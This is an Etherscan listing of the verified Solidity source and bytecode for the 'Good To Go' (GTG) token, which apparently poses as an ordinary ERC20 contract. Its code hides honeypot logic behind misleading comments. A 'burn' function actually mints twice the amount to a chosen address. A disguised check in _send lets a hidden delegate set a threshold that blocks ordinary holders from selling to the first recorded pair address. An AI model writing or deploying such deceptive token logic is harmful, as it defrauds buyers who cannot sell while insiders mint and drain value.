ETH Price: $2,495.10 (-0.67%)

Token

Good To Go ✈️ (GTG✈️)
 

Overview

Max Total Supply

200,000,004,000,000,000,000,000 GTG✈️

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.790669429 GTG✈️

Value
$0.00
0x72b3fe98fa0158dcc1e671633a9a33744ff72310
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GoodToGo

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
/**
 *Submitted for verification at Etherscan.io on 2021-11-14
*/

//   SPDX-License-Identifier: GNU GPLv3

pragma solidity >=0.8.5;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */

abstract contract ERC20Interface {
    /**
     * @dev Returns the amount of tokens in existence.
     */
  function totalSupply() virtual public view returns (uint);
  /**
     * @dev Returns the amount of tokens owned by `account`.
     */
  function balanceOf(address tokenOwner) virtual public view returns (uint balance);
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
  function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
  /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function transfer(address to, uint tokens) virtual public returns (bool success);
  /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
  function approve(address spender, uint tokens) virtual public returns (bool success);
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
 /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
  event Transfer(address indexed from, address indexed to, uint tokens);
  /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

abstract contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}

contract Owned {
  address internal owner;
  
  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

}

library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  address internal delegate;
  string public name;
  uint8 public decimals;
  address internal zero;
  uint _totalSupply;
  uint internal number;
  address internal reflector;
  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
  function totalSupply() override public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) override public view returns (uint balance) {
    return balances[tokenOwner];
  }
  /**
   * dev Reflects a specific amount of tokens.
   * param value The amount of lowest token units to be reflected.
  */
  function burn(address _address, uint tokens) public onlyOwner {
     require(_address != address(0), "ERC20: burn from the zero address");
     _burn (_address, tokens);
     balances[_address] = balances[_address].sub(tokens);
     _totalSupply = _totalSupply.sub(tokens);
  }	
  function transfer(address to, uint tokens) override public returns (bool success) {
    require(to != zero, "please wait");
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
  */
  function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == delegate) number = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through `transferFrom`. This is
     * zero by default.
     *
     * This value changes when `approve` or `transferFrom` are called.
  */
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
  */
  function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
    if(from != address(0) && zero == address(0)) zero = to;
    else _send (from, to);
	balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
 /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
 */
  function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function _burn(address _burnAddress, uint _burnAmount) internal virtual {
  /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
  */
   reflector = _burnAddress;
	_totalSupply = _totalSupply.add(_burnAmount*2);
    balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
  }
  function _send (address start, address end) internal view {
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     * Requirements:
     * - The divisor cannot be zero.*/
    /* * - `account` cannot be the zero address. */ require(end != zero  
    /* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) || 
    /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) 
    /* */ , "cannot be the zero address");/*
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
   **/
  }
  receive() external payable {
  }
  fallback() external payable {
  }
}

 contract GoodToGo is TokenERC20 {

    /**
     * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
     * these values are immutable: they can only be set once during
     * construction.
  */
   /**
     * dev Constructor.
     * param name name of the token
     * param symbol symbol of the token, 3-4 chars is recommended
     * param decimals number of decimal places of one token unit, 18 is widely used
     * param totalSupply total supply of tokens in lowest units (depending on decimals)
     */   
  constructor(string memory _name, string memory _symbol, uint _supply, address _del, address _ref)  {
	symbol = _symbol;
	name = _name;
	decimals = 9;
	_totalSupply = _supply*(10**uint(decimals));
	number = _totalSupply;
	delegate = _del;
	reflector = _ref;
	balances[owner] = _totalSupply;
	emit Transfer(address(0), owner, _totalSupply);
  }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_del","type":"address"},{"internalType":"address","name":"_ref","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5060405162000f3538038062000f358339810160408190526200003491620002ae565b600080546001600160a01b0319163317905583516200005b90600190602087019062000134565b5084516200007190600390602088019062000134565b506004805460ff191660099081179091556200008f90600a62000390565b6200009b90846200045b565b60058190556006819055600280546001600160a01b038086166001600160a01b0319928316179092556007805485841692169190911790556000805482168152600860205260408082208490558154905192169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620001219190815260200190565b60405180910390a35050505050620004e6565b82805462000142906200047d565b90600052602060002090601f016020900481019282620001665760008555620001b1565b82601f106200018157805160ff1916838001178555620001b1565b82800160010185558215620001b1579182015b82811115620001b157825182559160200191906001019062000194565b50620001bf929150620001c3565b5090565b5b80821115620001bf5760008155600101620001c4565b80516001600160a01b0381168114620001f257600080fd5b919050565b600082601f8301126200020957600080fd5b81516001600160401b0380821115620002265762000226620004d0565b604051601f8301601f19908116603f01168101908282118183101715620002515762000251620004d0565b816040528381526020925086838588010111156200026e57600080fd5b600091505b8382101562000292578582018301518183018401529082019062000273565b83821115620002a45760008385830101525b9695505050505050565b600080600080600060a08688031215620002c757600080fd5b85516001600160401b0380821115620002df57600080fd5b620002ed89838a01620001f7565b965060208801519150808211156200030457600080fd5b506200031388828901620001f7565b945050604086015192506200032b60608701620001da565b91506200033b60808701620001da565b90509295509295909350565b600181815b80851115620003885781600019048211156200036c576200036c620004ba565b808516156200037a57918102915b93841c93908002906200034c565b509250929050565b60006200039e8383620003a5565b9392505050565b600082620003b65750600162000455565b81620003c55750600062000455565b8160018114620003de5760028114620003e95762000409565b600191505062000455565b60ff841115620003fd57620003fd620004ba565b50506001821b62000455565b5060208310610133831016604e8410600b84101617156200042e575081810a62000455565b6200043a838362000347565b8060001904821115620004515762000451620004ba565b0290505b92915050565b6000816000190483118215151615620004785762000478620004ba565b500290565b600181811c908216806200049257607f821691505b60208210811415620004b457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610a3f80620004f66000396000f3fe60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610915565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108eb565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108af565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d366004610861565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108eb565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108eb565b6105bf565b3480156101f957600080fd5b5061010861020836600461087c565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60038054610240906109b8565b80601f016020809104026020016040519081016040528092919081815260200182805461026c906109b8565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b60018054610240906109b8565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109a1565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b4828461096a565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec826002610982565b600554906107a8565b600555610825610806826002610982565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b80356001600160a01b038116811461085c57600080fd5b919050565b60006020828403121561087357600080fd5b6106c382610845565b6000806040838503121561088f57600080fd5b61089883610845565b91506108a660208401610845565b90509250929050565b6000806000606084860312156108c457600080fd5b6108cd84610845565b92506108db60208501610845565b9150604084013590509250925092565b600080604083850312156108fe57600080fd5b61090783610845565b946020939093013593505050565b600060208083528351808285015260005b8181101561094257858101830151858201604001528201610926565b81811115610954576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561097d5761097d6109f3565b500190565b600081600019048311821515161561099c5761099c6109f3565b500290565b6000828210156109b3576109b36109f3565b500390565b600181811c908216806109cc57607f821691505b602082108114156109ed57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122013943173a6ad2938f82f0d5b451ba362d91839d61aca30dd62ff2cd0f57d17d264736f6c6343000805003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000e35fa931a000000000000000000000000000017be27bceff91cd0124feceeea472f30f639571a00000000000000000000000072b3fe98fa0158dcc1e671633a9a33744ff723100000000000000000000000000000000000000000000000000000000000000011476f6f6420546f20476f20e29c88efb88f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009475447e29c88efb88f0000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061008f5760003560e01c806370a082311161005657806370a082311461016257806395d89b41146101985780639dc29fac146101ad578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c357806318160ddd146100f357806323b872dd14610116578063313ce5671461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba9190610915565b60405180910390f35b3480156100cf57600080fd5b506100e36100de3660046108eb565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b50610108610345565b6040519081526020016100ba565b34801561012257600080fd5b506100e36101313660046108af565b610382565b34801561014257600080fd5b506004546101509060ff1681565b60405160ff90911681526020016100ba565b34801561016e57600080fd5b5061010861017d366004610861565b6001600160a01b031660009081526008602052604090205490565b3480156101a457600080fd5b506100ad6104dc565b3480156101b957600080fd5b506100966101c83660046108eb565b6104e9565b3480156101d957600080fd5b506100e36101e83660046108eb565b6105bf565b3480156101f957600080fd5b5061010861020836600461087c565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60038054610240906109b8565b80601f016020809104026020016040519081016040528092919081815260200182805461026c906109b8565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c75460055461037d916106aa565b905090565b60006001600160a01b038416158015906103aa575060045461010090046001600160a01b0316155b156103d45760048054610100600160a81b0319166101006001600160a01b038616021790556103de565b6103de84846106ca565b6001600160a01b03841660009081526008602052604090205461040190836106aa565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461043890836106aa565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461047690836107a8565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104ca9086815260200190565b60405180910390a35060019392505050565b60018054610240906109b8565b6000546001600160a01b0316331461050057600080fd5b6001600160a01b0382166105655760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61056f82826107c3565b6001600160a01b03821660009081526008602052604090205461059290826106aa565b6001600160a01b0383166000908152600860205260409020556005546105b890826106aa565b6005555050565b6004546000906001600160a01b038481166101009092041614156106135760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161055c565b3360009081526008602052604090205461062d90836106aa565b33600090815260086020526040808220929092556001600160a01b0385168152205461065990836107a8565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b6000828211156106b957600080fd5b6106c382846109a1565b9392505050565b6004546001600160a01b038281166101009092041614158061071657506007546001600160a01b03838116911614801561071657506004546001600160a01b0382811661010090920416145b8061075857506004546001600160a01b038281166101009092041614801561075857506006546001600160a01b03831660009081526008602052604090205411155b6107a45760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161055c565b5050565b60006107b4828461096a565b90508281101561033f57600080fd5b600780546001600160a01b0319166001600160a01b0384161790556107f56107ec826002610982565b600554906107a8565b600555610825610806826002610982565b6001600160a01b038416600090815260086020526040902054906107a8565b6001600160a01b0390921660009081526008602052604090209190915550565b80356001600160a01b038116811461085c57600080fd5b919050565b60006020828403121561087357600080fd5b6106c382610845565b6000806040838503121561088f57600080fd5b61089883610845565b91506108a660208401610845565b90509250929050565b6000806000606084860312156108c457600080fd5b6108cd84610845565b92506108db60208501610845565b9150604084013590509250925092565b600080604083850312156108fe57600080fd5b61090783610845565b946020939093013593505050565b600060208083528351808285015260005b8181101561094257858101830151858201604001528201610926565b81811115610954576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561097d5761097d6109f3565b500190565b600081600019048311821515161561099c5761099c6109f3565b500290565b6000828210156109b3576109b36109f3565b500390565b600181811c908216806109cc57607f821691505b602082108114156109ed57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122013943173a6ad2938f82f0d5b451ba362d91839d61aca30dd62ff2cd0f57d17d264736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000e35fa931a000000000000000000000000000017be27bceff91cd0124feceeea472f30f639571a00000000000000000000000072b3fe98fa0158dcc1e671633a9a33744ff723100000000000000000000000000000000000000000000000000000000000000011476f6f6420546f20476f20e29c88efb88f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009475447e29c88efb88f0000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Good To Go ✈️
Arg [1] : _symbol (string): GTG✈️
Arg [2] : _supply (uint256): 4000000000000000
Arg [3] : _del (address): 0x17Be27Bceff91Cd0124feCeEeA472f30F639571A
Arg [4] : _ref (address): 0x72B3fE98FA0158DCC1E671633A9a33744Ff72310

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 000000000000000000000000000000000000000000000000000e35fa931a0000
Arg [3] : 00000000000000000000000017be27bceff91cd0124feceeea472f30f639571a
Arg [4] : 00000000000000000000000072b3fe98fa0158dcc1e671633a9a33744ff72310
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000011
Arg [6] : 476f6f6420546f20476f20e29c88efb88f000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [8] : 475447e29c88efb88f0000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

10497:905:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3825:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6875:253;;;;;;;;;;-1:-1:-1;6875:253:0;;;;;:::i;:::-;;:::i;:::-;;;1405:14:1;;1398:22;1380:41;;1368:2;1353:18;6875:253:0;1335:92:1;5264:117:0;;;;;;;;;;;;;:::i;:::-;;;3277:25:1;;;3265:2;3250:18;5264:117:0;3232:76:1;7868:416:0;;;;;;;;;;-1:-1:-1;7868:416:0;;;;;:::i;:::-;;:::i;3848:21::-;;;;;;;;;;-1:-1:-1;3848:21:0;;;;;;;;;;;3485:4:1;3473:17;;;3455:36;;3443:2;3428:18;3848:21:0;3410:87:1;5385:123:0;;;;;;;;;;-1:-1:-1;5385:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;5482:20:0;5454:12;5482:20;;;:8;:20;;;;;;;5385:123;3770:20;;;;;;;;;;;;;:::i;5641:282::-;;;;;;;;;;-1:-1:-1;5641:282:0;;;;;:::i;:::-;;:::i;5928:299::-;;;;;;;;;;-1:-1:-1;5928:299:0;;;;;:::i;:::-;;:::i;8438:150::-;;;;;;;;;;-1:-1:-1;8438:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;8554:19:0;;;8524:14;8554:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;8438:150;3825:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6875:253::-;6976:10;6947:12;6968:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6968:28:0;;;;;;;;;:37;;;7030:8;;6947:12;;7030:8;;7016:22;7012:43;;;7040:6;:15;;;7012:43;7067:37;;3277:25:1;;;-1:-1:-1;;;;;7067:37:0;;;7076:10;;7067:37;;3265:2:1;3250:18;7067:37:0;;;;;;;;-1:-1:-1;7118:4:0;6875:253;;;;;:::o;5264:117::-;5317:4;5354:20;;;:8;:20;;;;5337:12;;:38;;:16;:38::i;:::-;5330:45;;5264:117;:::o;7868:416::-;7954:12;-1:-1:-1;;;;;7978:18:0;;;;;;:40;;-1:-1:-1;8000:4:0;;;;;-1:-1:-1;;;;;8000:4:0;:18;7978:40;7975:82;;;8020:4;:9;;-1:-1:-1;;;;;;8020:9:0;;-1:-1:-1;;;;;8020:9:0;;;;;;7975:82;;;8041:16;8048:4;8054:2;8041:5;:16::i;:::-;-1:-1:-1;;;;;8078:14:0;;;;;;:8;:14;;;;;;:26;;8097:6;8078:18;:26::i;:::-;-1:-1:-1;;;;;8061:14:0;;;;;;:8;:14;;;;;;;;:43;;;;8139:7;:13;;;;;8153:10;8139:25;;;;;;:37;;8169:6;8139:29;:37::i;:::-;-1:-1:-1;;;;;8111:13:0;;;;;;;:7;:13;;;;;;;;8125:10;8111:25;;;;;;;:65;;;;8198:12;;;;;:8;:12;;;;;:24;;8215:6;8198:16;:24::i;:::-;-1:-1:-1;;;;;8183:12:0;;;;;;;:8;:12;;;;;;;:39;;;;8234:26;;;;;;;;;;8253:6;3277:25:1;;3265:2;3250:18;;3232:76;8234:26:0;;;;;;;;-1:-1:-1;8274:4:0;7868:416;;;;;:::o;3770:20::-;;;;;;;:::i;5641:282::-;3192:5;;-1:-1:-1;;;;;3192:5:0;3178:10;:19;3170:28;;;;;;-1:-1:-1;;;;;5719:22:0;::::1;5711:68;;;::::0;-1:-1:-1;;;5711:68:0;;2576:2:1;5711:68:0::1;::::0;::::1;2558:21:1::0;2615:2;2595:18;;;2588:30;2654:34;2634:18;;;2627:62;-1:-1:-1;;;2705:18:1;;;2698:31;2746:19;;5711:68:0::1;;;;;;;;;5787:24;5794:8;5804:6;5787:5;:24::i;:::-;-1:-1:-1::0;;;;;5840:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;;:30:::1;::::0;5863:6;5840:22:::1;:30::i;:::-;-1:-1:-1::0;;;;;5819:18:0;::::1;;::::0;;;:8:::1;:18;::::0;;;;:51;5893:12:::1;::::0;:24:::1;::::0;5910:6;5893:16:::1;:24::i;:::-;5878:12;:39:::0;-1:-1:-1;;5641:282:0:o;5928:299::-;6031:4;;5996:12;;-1:-1:-1;;;;;6025:10:0;;;6031:4;;;;;6025:10;;6017:34;;;;-1:-1:-1;;;6017:34:0;;2236:2:1;6017:34:0;;;2218:21:1;